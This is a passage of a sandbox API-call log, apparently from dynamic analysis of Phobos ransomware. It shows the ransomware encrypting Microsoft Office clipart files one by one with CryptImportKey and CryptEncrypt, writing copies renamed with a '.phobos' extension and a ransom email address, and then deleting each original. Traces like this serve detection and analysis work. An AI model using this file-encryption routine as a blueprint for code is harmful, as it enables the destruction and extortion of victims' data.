Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0059.105] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.105] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1012) returned 1 [0059.105] CloseHandle (hObject=0x318) returned 1 [0059.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0059.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.105] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.105] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.106] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cff0) returned 1 [0059.106] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.106] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x3f4, lpOverlapped=0x0) returned 1 [0059.111] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x400, dwBufLen=0x400 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x400) returned 1 [0059.111] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x400, lpOverlapped=0x0) returned 1 [0059.112] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf30) returned 1 [0059.112] CryptSetKeyParam (hKey=0x10cf30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.112] CryptEncrypt (in: hKey=0x10cf30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.112] CryptDestroyKey (hKey=0x10cf30) returned 1 [0059.112] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.112] CryptDestroyKey (hKey=0x10cff0) returned 1 [0059.112] CloseHandle (hObject=0x318) returned 1 [0059.112] CloseHandle (hObject=0x308) returned 1 [0059.113] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0059.114] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.114] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=880) returned 1 [0059.114] CloseHandle (hObject=0x308) returned 1 [0059.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 0x220 [0059.114] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.114] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.114] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.114] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.115] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0059.115] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.115] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x370, lpOverlapped=0x0) returned 1 [0059.125] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x380, dwBufLen=0x380 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x380) returned 1 [0059.125] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x380, lpOverlapped=0x0) returned 1 [0059.126] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cb30) returned 1 [0059.126] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.126] CryptEncrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.126] CryptDestroyKey (hKey=0x10cb30) returned 1 [0059.126] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.126] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.126] CloseHandle (hObject=0x308) returned 1 [0059.126] CloseHandle (hObject=0x318) returned 1 [0059.127] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0059.128] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.128] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=10146) returned 1 [0059.128] CloseHandle (hObject=0x318) returned 1 [0059.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0059.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.129] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.129] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.132] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d0f0) returned 1 [0059.132] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.132] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x27a2, lpOverlapped=0x0) returned 1 [0059.315] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x27b0, dwBufLen=0x27b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x27b0) returned 1 [0059.315] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x27b0, lpOverlapped=0x0) returned 1 [0059.316] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10caf0) returned 1 [0059.316] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.316] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.316] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.316] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.316] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0059.316] CloseHandle (hObject=0x318) returned 1 [0059.316] CloseHandle (hObject=0x308) returned 1 [0059.317] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0059.318] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.318] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4024) returned 1 [0059.318] CloseHandle (hObject=0x308) returned 1 [0059.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0059.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.319] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.319] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.319] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d1f0) returned 1 [0059.319] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.319] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xfb8, lpOverlapped=0x0) returned 1 [0059.332] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xfc0) returned 1 [0059.332] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xfc0, lpOverlapped=0x0) returned 1 [0059.333] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0059.333] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.333] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.333] CryptDestroyKey (hKey=0x10cf70) returned 1 [0059.333] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.333] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.333] CloseHandle (hObject=0x308) returned 1 [0059.333] CloseHandle (hObject=0x318) returned 1 [0059.334] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0059.335] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.335] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.335] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=14444) returned 1 [0059.335] CloseHandle (hObject=0x318) returned 1 [0059.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x220 [0059.336] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.336] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.336] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.336] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.336] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0059.336] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.336] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x386c, lpOverlapped=0x0) returned 1 [0059.343] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3870, dwBufLen=0x3870 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x3870) returned 1 [0059.344] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x3870, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x3870, lpOverlapped=0x0) returned 1 [0059.344] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0059.345] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.345] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.345] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.345] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.345] CryptDestroyKey (hKey=0x10caf0) returned 1 [0059.345] CloseHandle (hObject=0x318) returned 1 [0059.345] CloseHandle (hObject=0x308) returned 1 [0059.346] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00247_.wmf")) returned 1 [0059.347] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.348] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1536) returned 1 [0059.348] CloseHandle (hObject=0x308) returned 1 [0059.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0059.348] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.348] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.348] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.348] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, 